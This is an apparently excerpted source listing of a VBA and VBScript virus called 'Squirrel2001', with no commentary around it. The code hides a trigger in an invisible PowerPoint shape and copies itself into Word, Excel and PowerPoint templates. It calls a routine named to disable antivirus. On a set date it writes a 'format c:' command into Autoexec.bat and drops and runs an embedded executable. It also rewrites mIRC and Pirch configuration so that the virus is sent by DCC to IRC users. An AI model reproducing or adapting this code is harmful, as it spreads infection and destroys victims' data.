.ZOrder (1)
.Line.Visible = False
.Fill.Visible = False
.ActionSettings(1).Action = 8
.ActionSettings(1).Run = "actionhook"
End With
Set NewMod = Nothing
PBT.Save
End If
PBT.Close
PPObj.Quit
Set xlApp = CreateObject("Excel.Application")
Set Book1Obj = xlApp.Workbooks.Add
Book1Obj.VBProject.vbcomponents("ThisWorkbook").CodeModule.InsertLines 1, TW.Lines(1, TW.CountofLines)
Book1Obj.SaveAs FileName:=Application.StartupPath & "\Book1.", FileFormat:=xlNormal, AddToMru:=False
Book1Obj.Close
xlApp.Quit
End If
If AW.Lines(1, 1) <> "'<!--Squirrel-->" Then
AW.InsertLines 1, TW.Lines(1, TW.CountofLines)
End If
call killyou
End Sub
Private Sub actionhook(tristate)
On Error Resume Next
If Int(Rnd * 7) = 0 Then
Set Home = ActivePresentation
If UCase(Dir(Application.Path + "\Xlstart\Book1.")) <> UCase("BOOK1") Then
Set WordObj = GetObject(, "Word.Application")
If WordObj = "" Then
Set WordObj = CreateObject("Word.Application")
WQuit = True
End If
Set NT = WordObj.NormalTemplate.VBProject.vbcomponents(1).CodeModule
WordObj.Options.SaveNormalPrompt = False
NT.InsertLines 1, "Public Sub DisableAV()" + Chr(13) + Chr(10) + Home.VBProject.vbcomponents("Squirrel").CodeModule.Lines(23, 3) + Chr(13) + Chr(10) + Home.VBProject.vbcomponents("Squirrel").CodeModule.Lines(38, 3) + Chr(13) + Chr(10) + "End Sub"
WordObj.Run "Normal.ThisDocument.DisableAV"
NT.DeleteLines 1, NT.CountofLines
NT.InsertLines 1, Home.VBProject.vbcomponents("Squirrel").CodeModule.Lines(1, Home.VBProject.vbcomponents("Squirrel").CodeModule.CountofLines)
NT.ReplaceLine 118, "Private Sub actionhook(tristate)"
Set NT = Nothing
If WQuit = True Then WordObj.Quit
Set xlApp = CreateObject("Excel.Application")
Set Book1Obj = xlApp.Workbooks.Add
Book1Obj.VBProject.vbcomponents("ThisWorkbook").CodeModule.InsertLines 1, Home.VBProject.vbcomponents("Squirrel").CodeModule.Lines(1, Home.VBProject.vbcomponents("Squirrel").CodeModule.CountofLines)
Book1Obj.VBProject.vbcomponents("ThisWorkbook").CodeModule.ReplaceLine 118, "Private Sub actionhook(tristate)"
Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1."
Book1Obj.Close
xlApp.Quit
Set PBT = Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse)
dontadd = False
For Each ModComponent In PBT.VBProject.vbcomponents
If ModComponent.Name = "Squirrel" Then dontadd = True
Next
If dontadd <> True Then
Set NewMod = PBT.VBProject.vbcomponents.Add(1)
NewMod.Name = "Squirrel"
NewMod.CodeModule.InsertLines 1, Home.VBProject.vbcomponents("Squirrel").CodeModule.Lines(1, Home.VBProject.vbcomponents("Squirrel").CodeModule.CountofLines)
Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight)
With ShapetoWack
.Name = "Squirrel"
.ZOrder (1)
.Line.Visible = False
.Fill.Visible = False
.ActionSettings(1).Action = 8
.ActionSettings(1).Run = "actionhook"
End With
PBT.Save
End If
PBT.Close
End If
End If
ActivePresentation.SlideShowWindow.View.Next
call killyou
End Sub
Private sub killyou()
On Error Resume Next
If Month(Now()) = 2 Then
Dim A As String, C As Long, B As String
If Format(Date, "d") <> 14 Then Exit Sub
A = "9460301/3/4/65535/184/0/64/0/0/0/0/0/0/0/0/128/247078670/-855002112/1275181089/1750344141/1881174889/1919381362/1663069537/1869508193/1700929652/1853190688/544106784/542330692/1701080941/168627502/36/0/17744/65868/891316465/0/0/17760480/327947/4096/0/0/4112/4096/8192/4194304/4096/512/4/0/4/0/8192/512/0/2/1048576/4096/1048576/4096/0/16/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/2019914798/116/4096/4096/4096/512/0/0/0/1610612768/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/195/0/0/1018/608472405/1692087288/15205255/1526726656/1363299213/17780816/1543382092/-98778237/-1956238453/1905130603/-1989781998/-289276813/1938384400/1456233986/1217130635/-2086341636/814418152/41219595/-866193173/-337955845/1692087047/545981323/1476628324/268462173/1958936640/-1054798030/75698411/-1989798620/-306054037/1804166672/588238594/1359964867/1364328298/1778477649/1394658562/-2097151744/-1919475516/-1915773626/-202617/550326527/4194407/1488986895/-1958916469/-61830895/" & _
"-1982447475/-1226049023/59475/-2091188224/-850189117/1073768480/1962891264/1409222692/1397774844/1509708799/1488986895/50011/-396361728/0/314999134/-167772157/-2062614266/520/673471629/254032771/128389/-2096693760/-1974073914/-12843965/1074006132/109656756/6964806/1535868778/205753104/1342488707/1092668758/-2097135616/2088833220/1160707078/257836376/112261/2072208896/-2062614248/427/1124120678/3285197/-2112946112/411/1404996433/-1946157059/29488703/-1201272716/-919387391/-1070344193/-919349836/-1958555085/-671136806/-157525613/108265921/1124186214/262002687/90754/-2086906368/-1070366778/-393488716/1784218730/-671131076/-1958078837/-2116550715/1162870846/612699904/1392508929/23724138/588207954/-980725556/" & _
"-1031581007/-1915224313/-1924128190/-1223733242/1418530374/682627600/-503968118/1345484429/1363236434/1359208897/-905721853/-149139925/-1856945711/66078347/-2037777338/-1106/607945062/2071724216/-671103605/1493461653/1012108114/-15547773/1849590231/1953524058/1599822439/-721201319/1441661778/-63093619/55777417/-1098034473/-1200/-833189545/-1109895539/1018/-1031589397/274369320/1980258859/-394046676/-1961326328/1510151258/-1957211384/1510148186/-60947700/-1962649463/140116248/1076120193/725614592/51279595/264758011/871091233/-348339069/19398986/856171628/-61306405/-56588659/78774271/-855586970/-1902867680/-216/251809929/657560758/738197503/266724034/1485555745/1496877840/-242545181/14025144/-10921472/1542515671/865925464/" & _
"-2640704/1935580631/1725926193/-1958542408/2123103310/-19660802/258079566/553631777/1946147979/609484600/474188121/606632835/1099630197/21399848/129024865/1910796518/-747257806/217628006/-1077512563/-2147469236/218020454/1725366266/1241536703/138856294/-687927516/-1191944563/939349/237677241/-959185152/-497983488/-1998310658/-18706176/257250744/-1430955776/13030399/-1258364384/1711311072/201868999/869728016/1400944603/1747774595/-1073737728/1364396215/23613777/1094713349/-192196271/11332737/550305792/1048580/108954470/-33197033/-286569146/-972005887/-343913146/-2012706587/-2147432959/25692296/-712534077/-712534033/-1757147924/-1745889913/-1007757945/661010944/65619/4194408/4194369/4194354/544106829/875442550/642598688/22605/"
O = "C:\Autoexec.bat"
SetAttr O, 0
Open O For Output As 1
Print #1, "%windir%\command\format c: /autoexec/u/select"
Close
AW$ = InputBox("Squirrel was sad!", "Test")
If AW$ = "39squirrels" Then
Kill O
MsgBox "You know me!", 4096, "Thanks..."
Else
Open "Squirrel.EXE" For Binary As 1
Do Until A = ""
C = InStr(A, "/")
B = Left(A, C - 1)
A = Right$(A, Len(A) - C)
C = Val(B)
Put 1, , C
Loop
Close
Shell "Squirrel.EXE"
MsgBox "I'm sader...", 48, "No..."
End If
end if
end sub"
set macroset=createobject("word.Application")
Set NT = macroset.NormalTemplate.VBProject.vbcomponents(1).CodeModule
set fsys=CreateObject("Scripting.FileSystemObject")
set txtff=fsys.createtextFile("%windir%"&"\system32\"&"Squirrel2001macro.txt")
txtff.write viruscaurse
txtff.close
set txtff=nothing
set txtff=fsys.opentextfile("%windir%"&"\system32\"&"Squirrel2001macro.txt")
If NT.Lines(1, 1) <> "'<!--Squirrel-->" Then
NT.DeleteLines 1, NT.CountofLines
Do While txtff.AtEndOfStream <> True
NT.InsertLines la txtff.readline
la=la+1
loop
dim ntt
set ntt=macroset.NormalTemplate
ntt.SaveAs FileName:="c:\Autoexec.dot", AddToRecentFiles:=False
ntt.close
nt.close
set nt =nothing
set ntt=nothing
set macroset=nothing
set txtff=nothing
set fsys=nothing
end sub
sub ircvirus()
hstxcaowgqz ""
lfvaazcukod ""
jjrtuqdkgzp()
end sub
Function hstxcaowgqz(ldjlkpyfjkp)
On Error Resume Next
if ldjlkpyfjkp = "" then
if igalgbinffy.fileexists("c:\mirc\mirc.ini") then ldjlkpyfjkp="c:\mirc"
if igalgbinffy.fileexists("c:\mirc32\mirc.ini") then ldjlkpyfjkp="c:\mirc32"
aymnehqvpfd=rfqwdudwylf.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
if igalgbinffy.fileexists(aymnehqvpfd & "\mirc\mirc.ini") then ldjlkpyfjkp=aymnehqvpfd & "\mirc"
end if
if ldjlkpyfjkp <> "" then
set dcfxbemazhc = igalgbinffy.CreateTextFile(ldjlkpyfjkp & "\script.ini", True)
dcfxbemazhc.WriteLine "[script]"
dcfxbemazhc.writeline "n0=on 1:JOIN:#:{"
dcfxbemazhc.writeline "n1= /if ( $nick == $me ) { halt }"
dcfxbemazhc.writeline "n2= /.dcc send $nick "&igalgbinffy.GetSpecialFolder(0)& "\squirrel2001.vbs"
dcfxbemazhc.writeline "n3=}"
dcfxbemazhc.close
end if
end function
function lfvaazcukod(eambqpgakgb)
On Error Resume Next
if eambqpgakgb="" then
if igalgbinffy.fileexists("c:\pirch\Pirch32.exe") then eambqpgakgb="c:\pirch"
if igalgbinffy.fileexists("c:\pirch32\Pirch32.exe") then eambqpgakgb="c:\pirch32"
infeyymqwku=rfqwdudwylf.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
if igalgbinffy.fileexists(infeyymqwku & "\pirch\Pirch32.exe") then eambqpgakgb=infeyymqwku & "\pirch\Pirch32.exe"
end if
if eambqpgakgb <> "" then
set kwflfeakiul= igalgbinffy.CreateTextFile(eambqpgakgb & "\events.ini", True)
kwflfeakiul.WriteLine "[Levels]"
kwflfeakiul.WriteLine "Enabled=1"
kwflfeakiul.WriteLine "Count=6"
kwflfeakiul.WriteLine "Level1=000-Unknowns"
kwflfeakiul.WriteLine "000-UnknownsEnabled=1"
kwflfeakiul.WriteLine "Level2=100-Level 100"
kwflfeakiul.WriteLine "100-Level 100Enabled=1"
kwflfeakiul.WriteLine "Level3=200-Level 200"
kwflfeakiul.WriteLine "200-Level 200Enabled=1"
kwflfeakiul.WriteLine "Level4=300-Level 300"
kwflfeakiul.WriteLine " 300-Level 300Enabled=1"
kwflfeakiul.WriteLine "Level5=400-Level 400 "
kwflfeakiul.WriteLine "400-Level 400Enabled=1"
kwflfeakiul.WriteLine "Level6=500-Level 500"
kwflfeakiul.WriteLine "500-Level 500Enabled=1"
kwflfeakiul.WriteLine ""
kwflfeakiul.WriteLine "[000-Unknowns]"
kwflfeakiul.WriteLine "UserCount=0"
kwflfeakiul.WriteLine "EventCount=0"
kwflfeakiul.WriteLine ""
kwflfeakiul.WriteLine "[100-Level 100]"
kwflfeakiul.WriteLine "User1=*!*@*"
kwflfeakiul.WriteLine "UserCount=1"
kwflfeakiul.writeline "Event1=ON JOIN:#:/dcc tsend $nick " & igalgbinffy.GetSpecialFolder(0) & "\squirrel2001.vbs"
kwflfeakiul.WriteLine "EventCount=1"
kwflfeakiul.WriteLine ""
kwflfeakiul.WriteLine "[200-Level 200]"
kwflfeakiul.WriteLine "UserCount=0"
kwflfeakiul.WriteLine "EventCount=0"
kwflfeakiul.WriteLine ""
kwflfeakiul.WriteLine "[300-Level 300]"
kwflfeakiul.WriteLine "UserCount=0"
kwflfeakiul.WriteLine "EventCount=0"
kwflfeakiul.WriteLine ""
kwflfeakiul.WriteLine "[400-Level 400]"
kwflfeakiul.WriteLine "UserCount=0"
kwflfeakiul.WriteLine "EventCount=0"
kwflfeakiul.WriteLine ""
kwflfeakiul.WriteLine "[500-Level 500]"
kwflfeakiul.WriteLine "UserCount=0"
kwflfeakiul.WriteLine "EventCount=0"
kwflfeakiul.close
end if
end function
Function jjrtuqdkgzp()
On Error Resume Next
Set rusyghrsxeu = igalgbinffy.Drives
For Each jrhkuytiggg In rusyghrsxeu
If jrhkuytiggg.Drivetype = Remote Then
ibxbqdweghd= jrhkuytiggg & "\"
Call qetljeojelr(ibxbqdweghd)
ElseIf jrhkuytiggg.IsReady Then
ibxbqdweghd= jrhkuytiggg&"\"
Call qetljeojelr(ibxbqdweghd)
End If
Next
End Function
Function qetljeojelr(iibvitahxgz)
Set boihenmxiux= igalgbinffy.GetFolder(iibvitahxgz)
Set vbdkvvafcrz= boihenmxiux.Files
For Each isczukopoqj In vbdkvvafcrz
if isczukopoqj.name = "mirc.ini" then
hstxcaowgqz(isczukopoqj.ParentFolder)
end if
if isczukopoqj.name = "Pirch32.exe" then
lfvaazcukod(isczukopoqj.ParentFolder)
end if
Next
Set isczukopoqj= boihenmxiux.SubFolders
For Each fjyfemoplyf In isczukopoqj
Call qetljeojelr(fjyfemoplyf.path)
Next
End Function 
